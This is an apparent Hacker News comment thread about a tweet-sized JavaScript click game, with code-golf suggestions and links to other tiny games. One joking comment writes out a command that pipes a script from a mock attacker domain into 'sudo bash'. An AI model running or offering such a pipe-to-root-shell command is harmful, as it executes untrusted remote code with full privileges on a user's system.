A game whose source code fits in one tweet

If you liked this then you might find my Python one liner games interesting [1]. They fit a tweet in most cases.<p>[1]: <a href="http:&#x2F;&#x2F;arunrocks.com&#x2F;python-one-liner-games&#x2F;" rel="nofollow">http:&#x2F;&#x2F;arunrocks.com&#x2F;python-one-liner-games&#x2F;</a>

I&#x27;m sorry I&#x27;m a dirty cheat: <a href="http:&#x2F;&#x2F;fetchh--captured.s3.amazonaws.com&#x2F;Monosnap_2015-06-30_14-51-27.png" rel="nofollow">http:&#x2F;&#x2F;fetchh--captured.s3.amazonaws.com&#x2F;Monosnap_2015-06-30...</a><p><pre><code> while(true){f()}</code></pre>

OP can save a few more characters by not using &#x27;var&#x27; and using &#x27;E&#x27; notation for representing 15000, i.e, 15E3, or better, 2E4.

Author here - I&#x27;ll implement some of these suggestions and see if the extra space might allow for something a little more interesting. It&#x27;s a pleasant surprise to see a pull request on this little thing.

Cool! some suggestions:<p>- show it on <a href="http:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;tinycode&#x2F;" rel="nofollow">http:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;tinycode&#x2F;</a><p>- if you aim for low character count instead of low byte count, you can pass your code through my unicide packer here: <a href="http:&#x2F;&#x2F;xem.github.io&#x2F;obfuscatweet&#x2F;" rel="nofollow">http:&#x2F;&#x2F;xem.github.io&#x2F;obfuscatweet&#x2F;</a><p>- Golf your code even more (using the tips of the other comments), and use all the remaining chars to add features to your game and fill the 140 chars of a tweet :)<p>Cheers

I cut the size down by 39 bytes in <a href="https:&#x2F;&#x2F;github.com&#x2F;omnus&#x2F;tiny-twitch&#x2F;pull&#x2F;1" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;omnus&#x2F;tiny-twitch&#x2F;pull&#x2F;1</a>. You can trade 36 of those bytes for “legal HTML 5” status, too.

A few of us were doing this over on Twitter, with the typical &quot;guess a number&quot; games. But Alex&#x27;s was the best so far! I built a few games, but all of them were too big.<p>Here&#x27;s a 2048&#x2F;Threes-clone in &lt;700 characters (or 5 tweets): <a href="https:&#x2F;&#x2F;twitter.com&#x2F;eigenbom&#x2F;status&#x2F;615424395192877056" rel="nofollow">https:&#x2F;&#x2F;twitter.com&#x2F;eigenbom&#x2F;status&#x2F;615424395192877056</a>

Cute; I didn&#x27;t realize that the element&#x27;s ID implicitly mapped it to a javascript variable in Chrome.

Was half expecting this to be:<p>curl <a href="http:&#x2F;&#x2F;www.hackerz-r-us.ru&#x2F;really_awesome_game.sh" rel="nofollow">http:&#x2F;&#x2F;www.hackerz-r-us.ru&#x2F;really_awesome_game.sh</a> | sudo bash #YouveBeenP0wnd

One thing I&#x27;ve always meant to do was to put together a system for loading and saving Sinclair ZX81 games via Twitter messages.<p>Depending on how much you cheat, you can get about two bytes of data per Twitter character. That&#x27;d allow 256 bytes of game to live comfortably within a single twit, which is a quarter of an unexpanded ZX81 RAM. By comparison, that would take almost ten seconds to load off tape. You should be able to get a respectable ZX81 game in that.<p>With something like the JtyOne Javascript ZX81 emulator (<a href="http:&#x2F;&#x2F;www.zx81stuff.org.uk&#x2F;zx81&#x2F;jtyone.html" rel="nofollow">http:&#x2F;&#x2F;www.zx81stuff.org.uk&#x2F;zx81&#x2F;jtyone.html</a>) and some Twitter interaction, the whole process should be pretty seamless --- click on a twit to play; modify it using the ZX81&#x27;s built-in <i>cough</i> IDE; click on a button to reshare...

And that kept my interest for about 140 seconds. Pretty damn good character:fun ratio. Bravo!

If you&#x27;re interested in really small games, the smallest game is Chess written in 487 bytes of x86 machine code: <a href="http:&#x2F;&#x2F;www.pouet.net&#x2F;prod.php?which=64962" rel="nofollow">http:&#x2F;&#x2F;www.pouet.net&#x2F;prod.php?which=64962</a> Source code here: <a href="http:&#x2F;&#x2F;olivier.poudade.free.fr&#x2F;src&#x2F;BootChess.asm" rel="nofollow">http:&#x2F;&#x2F;olivier.poudade.free.fr&#x2F;src&#x2F;BootChess.asm</a>

I&#x27;m not really a gamer, but I do love me some synth one-liners:<p><a href="http:&#x2F;&#x2F;countercomplex.blogspot.co.at&#x2F;2011&#x2F;10&#x2F;algorithmic-symphonies-from-one-line-of.html" rel="nofollow">http:&#x2F;&#x2F;countercomplex.blogspot.co.at&#x2F;2011&#x2F;10&#x2F;algorithmic-sym...</a><p>Most of these would also fit in a single tweet ..

What exactly is happening here: &quot;a.style.margin=++s+e%300&quot;? (Specifically, the &quot;++&quot; part.)

Reminds me of a game I made while learning to code:<p><a href="http:&#x2F;&#x2F;lalwanivikas.github.io&#x2F;window-game&#x2F;" rel="nofollow">http:&#x2F;&#x2F;lalwanivikas.github.io&#x2F;window-game&#x2F;</a><p>(Concept inspired from Jennifer Dewalt&#x27;s project, but code is entirely mine :))

Doesn&#x27;t actually fit in a tweet. 12 characters too long...am I missing something?

Reminds me when my father showed me &quot;number guessing&quot; game on TI-57 calculator. It had 50 instructions (button presses) of memory. It&#x27;s interesting that the size wasn&#x27;t that a big deal then. :-)

Totally exploiting the fact invalid HTML is accepted by modern browsers. :P

A few years ago I put a tiny game in a data uri in a QR code, unfortunately I lost the QR code, but I thought it was a neat concept.

Shorter version: &lt;p onclick=n=Date.now;id||(t=n(id=s=0));(e=n(++s)-t)&lt;2E4?style.margin=e%300:alert(s)&gt;X

This game makes me feel like a cat.

increments s before doing the rest of the calculation?